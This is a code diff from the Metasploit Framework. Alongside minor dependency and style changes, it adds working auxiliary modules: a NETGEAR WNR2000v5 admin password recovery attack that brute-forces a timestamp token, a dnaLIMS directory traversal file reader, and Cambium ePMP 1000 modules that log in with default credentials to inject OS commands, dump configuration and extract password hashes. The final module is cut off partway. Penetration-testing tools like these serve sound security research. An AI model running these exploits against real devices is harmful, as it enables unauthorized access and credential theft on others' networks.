# @return [String]
def to_s
body = Rex::MIME::Message.new
body.add_part(self.message, 'text/plain; charset=UTF-8', nil)
sms = "MIME-Version: 1.0\n"
sms << "From: #{self.from}\n"
sms << "To: #{self.to}\n"
sms << "Subject: #{self.subject}\n"
sms << "Content-Type: multipart/alternative; boundary=#{body.bound}\n"
sms << "\n"
sms << body.to_s
sms
end
end
end
end
end
end

View File

@ -67,7 +67,7 @@ Gem::Specification.new do |spec|
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.2.19'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.8'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.
@ -106,6 +106,7 @@ Gem::Specification.new do |spec|
# Protocol Libraries
#
spec.add_runtime_dependency 'net-ssh'
spec.add_runtime_dependency 'ruby_smb'
#
# REX Libraries

View File

@ -0,0 +1,261 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'time'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::CRand
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',
'Description' => %q{
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
This vulnerability can be exploited by an unauthenticated attacker who is able to guess
the value of a certain timestamp which is in the configuration of the router.
Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
it is guaranteed that it can be bruteforced.
This module works very reliably and it has been tested with the WNR2000v5, firmware versions
1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this
has not been tested.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-10175'],
['CVE', '2016-10176'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
],
'DisclosureDate' => 'Dec 20 2016'))
register_options(
[
Opt::RPORT(80)
], self.class)
register_advanced_options(
[
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200])
], self.class)
end
def get_current_time
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res['Date']
date = res['Date']
return Time.parse(date).strftime('%s').to_i
end
end
# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
[number].pack('f').unpack('f*')[0].to_i
end
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df;
hi = (t0 * t1) >> 32;
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 - t2;
t4 = t3 * 0x55d4a80;
t0 = t0 - t4;
t0 = t0 + 0x989680;
ieee754_round(t0)
end
def get_creds
res = send_request_cgi({
'uri' => '/BRS_netgear_success.html',
'method' => 'GET'
})
if res && res.body =~ /var sn="([\w]*)";/
serial = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...")
end
# 1: send serial number
send_request_cgi({
'uri' => '/apply_noauth.cgi?/unauth.cgi',
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'vars_post' =>
{
'submit_flag' => 'match_sn',
'serial_num' => serial,
'continue' => '+Continue+'
}
})
# 2: send answer to secret questions
send_request_cgi({
'uri' => '/apply_noauth.cgi?/securityquestions.cgi',
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'vars_post' =>
{
'submit_flag' => 'security_question',
'answer1' => @q1,
'answer2' => @q2,
'continue' => '+Continue+'
}
})
# 3: PROFIT!!!
res = send_request_cgi({
'uri' => '/passwordrecovered.cgi',
'method' => 'GET'
})
if res && res.body =~ /Admin Password: (.*)<\/TD>/
password = $1
if password.blank?
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?")
end
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
end
if res && res.body =~ /Admin Username: (.*)<\/TD>/
username = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
end
return [username, password]
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: 'netgear',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def send_req(timestamp)
begin
uri_str = (timestamp == nil ? \
"/apply_noauth.cgi?/PWD_password.htm" : \
"/apply_noauth.cgi?/PWD_password.htm%20timestamp=#{timestamp.to_s}")
res = send_request_raw({
'uri' => uri_str,
'method' => 'POST',
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"
})
return res
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
return
end
end
def run
# generate the security questions
@q1 = Rex::Text.rand_text_alpha(rand(20) + 2)
@q2 = Rex::Text.rand_text_alpha(rand(20) + 2)
# let's try without timestamp first (the timestamp only gets set if the user visited the page before)
print_status("#{peer} - Trying the easy way out first")
res = send_req(nil)
if res && res.code == 200
credentials = get_creds
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
return
end
# no result? let's just go on and bruteforce the timestamp
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
# get the current date from the router and parse it
end_time = get_current_time
if end_time == nil
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
end
if end_time <= datastore['TIME_OFFSET']
start_time = 0
else
start_time = end_time - datastore['TIME_OFFSET']
end
end_time += datastore['TIME_SURPLUS']
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
end
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
# work back from the current router time minus datastore['TIME_OFFSET']
while true
for time in end_time.downto(start_time)
timestamp = get_timestamp(time)
sleep 0.1
if time % 400 == 0
print_status("#{peer} - Still working, trying time #{time}")
end
res = send_req(timestamp)
if res && res.code == 200
credentials = get_creds
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
report_cred({ 'user' => credentials[0], 'password' => credentials[1] })
return
end
end
end_time = start_time
start_time -= datastore['TIME_OFFSET']
if start_time < 0
if end_time <= datastore['TIME_OFFSET']
fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
end
start_time = 0
end
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
# let the router clear the buffers a bit...
sleep 30
end
end
end

View File

@ -39,14 +39,14 @@ class MetasploitModule < Msf::Auxiliary
'References' =>
[
[ 'URL', 'http://opengarages.org/hwbridge' ] # TODO
],
]
}
))
register_options(
[
Opt::RPORT(8080),
Opt::RHOST("127.0.0.1"),
OptBool.new("DEBUGJSON", [false, "Additional debugging out for JSON requests to HW Bridge", false]),
Opt::RHOST('127.0.0.1'),
OptBool.new('DEBUGJSON', [false, "Additional debugging out for JSON requests to HW Bridge", false]),
OptString.new('TARGETURI', [ true, "The path to the hwbridge API", '/'])
],
self.class
@ -58,15 +58,17 @@ class MetasploitModule < Msf::Auxiliary
# Generic fetch json call. returns hash of json
#
def fetch_json(uri)
tpath = normalize_uri("#{datastore["TARGETURI"]}/#{uri}")
tpath = normalize_uri("#{datastore['TARGETURI']}/#{uri}")
res = send_request_cgi({
'uri' => tpath,
'method' => 'GET',
'method' => 'GET'
})
return nil if not res or not res.body or not res.code
if (res.code == 200)
print_status res.body if datastore["DEBUGJSON"] == true
return nil if !res || !res.body || !res.code
if res.code == 200
print_status res.body if datastore['DEBUGJSON'] == true
return JSON.parse(res.body)
elsif res.code == 401
print_error "Access Denied: #{res.body}"
end
return nil
@ -95,8 +97,14 @@ class MetasploitModule < Msf::Auxiliary
# Uses status information to automatically load proper extensions
#
def autoload_extensions(sess)
if self.hw_specialty.has_key? "automotive"
sess.load_automotive if self.hw_specialty["automotive"] == true
if self.hw_specialty.key? 'automotive'
sess.load_automotive if self.hw_specialty['automotive'] == true
end
if self.hw_specialty.has_key? 'zigbee'
sess.load_zigbee if self.hw_specialty['zigbee'] == true
end
if self.hw_specialty.has_key? 'rftransceiver'
sess.load_rftransceiver if self.hw_specialty['rftransceiver'] == true
end
end
@ -104,8 +112,8 @@ class MetasploitModule < Msf::Auxiliary
# If the hardware contains custom methods, create functions for those
#
def load_custom_methods(sess)
if self.hw_capabilities.has_key? "custom_methods"
sess.load_custom_methods if self.hw_capabilities["custom_methods"] == true
if self.hw_capabilities.key? 'custom_methods'
sess.load_custom_methods if self.hw_capabilities['custom_methods'] == true
end
end
@ -114,23 +122,23 @@ class MetasploitModule < Msf::Auxiliary
#
def get_status
data = fetch_json("/status")
if not data == nil
if data.has_key? "operational"
unless data.nil?
if data.key? 'operational'
@last_access = Time.now
if data.has_key? "hw_specialty"
self.hw_specialty = data["hw_specialty"]
if data.key? 'hw_specialty'
self.hw_specialty = data['hw_specialty']
end
if data.has_key? "hw_capabilities"
self.hw_capabilities = data["hw_capabilities"]
if data.key? 'hw_capabilities'
self.hw_capabilities = data['hw_capabilities']
end
end
end
end
def run
print_status "Attempting to connect to #{datastore["RHOST"]}..."
print_status "Attempting to connect to #{datastore['RHOST']}..."
self.get_status()
if not @last_access == nil
unless @last_access.nil?
sess = Msf::Sessions::HWBridge.new(self)
sess.set_from_exploit(self)
@ -147,7 +155,9 @@ class MetasploitModule < Msf::Auxiliary
attr_reader :hw_specialty
attr_reader :hw_capabilities
protected
attr_writer :hw_specialty
attr_writer :hw_capabilities
end

View File

@ -28,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary
phone_numbers = datastore['CELLNUMBERS'].split
print_status("Sending text (#{datastore['SMSMESSAGE'].length} bytes) to #{phone_numbers.length} number(s)...")
begin
res = send_text(phone_numbers, datastore['SMSMESSAGE'])
res = send_text(phone_numbers, datastore['SMSSUBJECT'], datastore['SMSMESSAGE'])
print_status("Done.")
rescue Rex::Proto::Sms::Exception => e
print_error(e.message)

View File

@ -0,0 +1,96 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
def initialize(info = {})
super(update_info(info,
'Name' => 'Shodan Honeyscore Client',
'Description' => %q{
This module uses the shodan API to check
if a server is a honeypot or not. The api
returns a score from 0.0 to 1.0. 1.0 being a honeypot.
A shodan API key is needed for this module to work properly.
If you don't have an account, go here to register:
https://account.shodan.io/register
For more info on how their honeyscore system works, go here:
https://honeyscore.shodan.io/
},
'Author' =>
[ 'thecarterb' ], # Thanks to @rwhitcroft, @h00die and @wvu-r7 for the improvements and review!
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://honeyscore.shodan.io/']
]
)
)
deregister_options('RHOST', 'SSL', 'DOMAIN', 'DigestAuthIIS', 'NTLM::SendLM',
'NTLM::SendNTLM', 'VHOST', 'RPORT', 'NTLM::SendSPN', 'NTLM::UseLMKey',
'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2')
register_options(
[
OptString.new('TARGET', [true, 'The target to get the score of']),
OptString.new('SHODAN_APIKEY', [true, 'The SHODAN API key'])
], self.class)
end
def print_score(score)
tgt = datastore['TARGET']
print_status("#{tgt} honeyscore: #{score}/1.0")
end
def run
key = datastore['SHODAN_APIKEY']
# Check the length of the key (should be 32 chars)
if key.length != 32
print_error('Invalid API key (Not long enough)')
return
end
tgt = datastore['TARGET']
print_status("Scanning #{tgt}")
cli = Rex::Proto::Http::Client.new('api.shodan.io', 443, {}, true)
cli.connect
req = cli.request_cgi({
'uri' => "/labs/honeyscore/#{tgt}?key=#{key}",
'method' => 'GET'
})
res = cli.send_recv(req)
cli.close
if res.nil?
fail_with(Failure::Unknown, 'Unable to connect to shodan')
end
if res.code != 200
print_error('Shodan did not respond in an expected way. Check your api key')
return
end
score = res.body.to_f # Change the score to a float to be able to determine value in the checks
if score == 0
print_error("#{tgt} is not a honeypot")
elsif score < 0.4 && score != 0.0
print_error("#{tgt} is probably not a honeypot")
elsif score > 0.4 && score < 0.6
print_status("#{tgt} might be a honeypot")
elsif score > 0.6 && score < 1.0
print_good("#{tgt} is probably a honeypot")
elsif score == 1.0
print_good("#{tgt} is definitely a honeypot")
else # We shouldn't ever get here as the previous checks should catch an unexpected response
print_error('An unexpected error occured.')
return
end
print_score(score)
end
end

View File

@ -0,0 +1,81 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'DnaLIMS Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in dnaLIMS.
Due to the way the viewAppletFsa.cgi script handles the 'secID' parameter, it is possible
to read a file outside the www directory.
},
'References' =>
[
['CVE', '2017-6527'],
['US-CERT-VU', '929263'],
['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
],
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # Discovery, PoC
'flakey_biscuit <nicholas@shorebreaksecurity.com>' # Discovery, PoC
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Mar 8 2017"
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']),
OptString.new('FILE', [ true, "The path to the file to view", '/home/dna/spool/.pfile']), # password db for app
OptInt.new('DEPTH', [true, 'The traversal depth', 4])
], self.class)
deregister_options('RHOST')
end
def run_host(ip)
file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "#{datastore['FILE']}"
traverse = "../" * datastore['DEPTH']
uri = normalize_uri(target_uri.path)
base = File.dirname("#{uri}/.")
print_status("Requesting: #{file} - #{rhost}")
res = send_request_cgi({
'uri' => "#{base}/viewAppletFsa.cgi",
'vars_get' => { 'secID' => "#{traverse}#{file}%00",
'Action' => 'blast',
'hidenav' => '1'
}
})
if not res
print_error("No response from server.")
return
end
if res.code != 200
print_error("Server returned a non-200 response (body will not be saved):")
print_line(res.to_s)
return
end
vprint_good(res.body)
p = store_loot('dnaLIMS.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
print_good("File saved as: #{p}")
end
end

View File

@ -0,0 +1,265 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cambium ePMP 1000 (up to v2.5) Arbitrary Command Execution',
'Description' => %{
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to execute arbitrary system commands.
},
'References' =>
[
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
],
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'VERBOSE' => true })
)
register_options(
[
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer']),
OptString.new('CMD', [true, 'Command(s) to run', 'id; pwd'])
], self.class
)
end
def run_host(ip)
unless is_app_epmp1000?
return
end
each_user_pass do |user, pass|
do_login(user, pass)
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Check if App is Cambium ePMP 1000
#
def is_app_epmp1000?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return false
end
good_response = (
res &&
res.code == 200 &&
res.headers['Server'] &&
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
)
if good_response
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
if !get_epmp_ver.nil?
epmp_ver = get_epmp_ver[1]
if !epmp_ver.nil?
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
if "#{epmp_ver}" >= '2.5'
print_error('This ePMP version is not vulnerable. Module will not continue.')
return false
else
return true
end
else
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
return true
end
end
else
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
return false
end
end
#
# Execute arbitrary command(s)
#
def do_login(user, pass)
print_status("#{rhost}:#{rport} - Attempting to login...")
begin
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01'
},
'vars_post' =>
{
'username' => 'dashboard',
'password' => ''
}
}
)
good_response = (
res &&
res.code == 200 &&
res.headers.include?('Set-Cookie') &&
res.headers['Set-Cookie'].include?('sysauth')
)
if good_response
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'cookie' => cookie1,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Connection' => 'close'
},
'vars_post' =>
{
'username' => user,
'password' => pass
}
}
)
end
good_response = (
res &&
res.code == 200 &&
res.headers.include?('Set-Cookie') &&
res.headers['Set-Cookie'].include?('stok=')
)
if good_response
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
report_cred(
ip: rhost,
port: rport,
service_name: 'Cambium ePMP 1000',
user: user,
password: pass
)
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
if !get_stok.nil?
stok_value = get_stok[1]
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
uri1 = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/ping'
command = datastore['CMD']
inject = '|' + "#{command}" + ' ||'
clean_inject = CGI.unescapeHTML(inject.to_s)
print_status("#{rhost}:#{rport} - Executing #{command}")
res = send_request_cgi(
{
'uri' => uri1,
'method' => 'POST',
'cookie' => cookie2,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest',
'ctype' => '*/*',
'Connection' => 'close'
},
'vars_post' =>
{
'ping_ip' => '8.8.8.8',
'packets_num' => clean_inject,
'buf_size' => 0,
'ttl' => 1,
'debug' => '0'
}
}
)
vprint_line("#{res.body}")
# Extract ePMP version
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
report_cred(
ip: rhost,
port: rport,
service_name: "Cambium ePMP 1000 v#{epmp_ver}",
user: user,
password: pass
)
else
# Login failed
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
end
end
end
end
end

View File

@ -0,0 +1,254 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cambium ePMP 1000 Dump Device Config',
'Description' => %{
This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file.
},
'References' =>
[
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/']
],
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'VERBOSE' => true })
)
register_options(
[
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
], self.class
)
end
def run_host(ip)
unless is_app_epmp1000?
return
end
each_user_pass do |user, pass|
do_login(user, pass)
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Check if App is Cambium ePMP 1000
#
def is_app_epmp1000?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return false
end
good_response = (
res &&
res.code == 200 &&
res.headers['Server'] &&
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
)
if good_response
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
if !get_epmp_ver.nil?
epmp_ver = get_epmp_ver[1]
if !epmp_ver.nil?
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
return true
else
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
return true
end
end
else
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
return false
end
end
#
# Login and dump config file
#
def do_login(user, pass)
print_status("#{rhost}:#{rport} - Attempting to login...")
begin
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01'
},
'vars_post' =>
{
'username' => 'dashboard',
'password' => ''
}
}
)
good_response = (
res &&
res.code == 200 &&
res.headers.include?('Set-Cookie') &&
res.headers['Set-Cookie'].include?('sysauth')
)
if good_response
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'cookie' => cookie1,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Connection' => 'close'
},
'vars_post' =>
{
'username' => user,
'password' => pass
}
}
)
end
good_response = (
res &&
res.code == 200 &&
res.headers.include?('Set-Cookie') &&
res.headers['Set-Cookie'].include?('stok=')
)
if good_response
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
report_cred(
ip: rhost,
port: rport,
service_name: 'Cambium ePMP 1000',
user: user,
password: pass
)
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
if !get_stok.nil?
stok_value = get_stok[1]
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
config_uri = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/config_export?opts=json'
res = send_request_cgi(
{
'method' => 'GET',
'uri' => config_uri,
'cookie' => cookie2,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest',
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'Connection' => 'close'
}
}, 25
)
if res && res.code == 200 && res.body =~ /device_props/
vprint_status('++++++++++++++++++++++++++++++++++++++')
vprint_status("#{rhost}:#{rport} - dumping configuration")
vprint_status('++++++++++++++++++++++++++++++++++++++')
print_good("#{rhost}:#{rport} - File retrieved successfully!")
path = store_loot('ePMP_config', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 device config')
print_status("#{rhost}:#{rport} - File saved in: #{path}")
else
print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
return
end
# Extract ePMP version
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
report_cred(
ip: rhost,
port: rport,
service_name: "Cambium ePMP 1000 v#{epmp_ver}",
user: user,
password: pass
)
end
else
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
end
end
end
end

View File

@ -0,0 +1,318 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cambium ePMP 1000 Password Hash Extractor',
'Description' => %{
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to dump system hashes.
},
'References' =>
[
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
],
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'VERBOSE' => true })
)
register_options(
[
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
], self.class
)
end
def run_host(ip)
unless is_app_epmp1000?
return
end
each_user_pass do |user, pass|
do_login(user, pass)
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Check if App is Cambium ePMP 1000
#
def is_app_epmp1000?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return false
end
good_response = (
res &&
res.code == 200 &&
res.headers['Server'] &&
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
)
if good_response
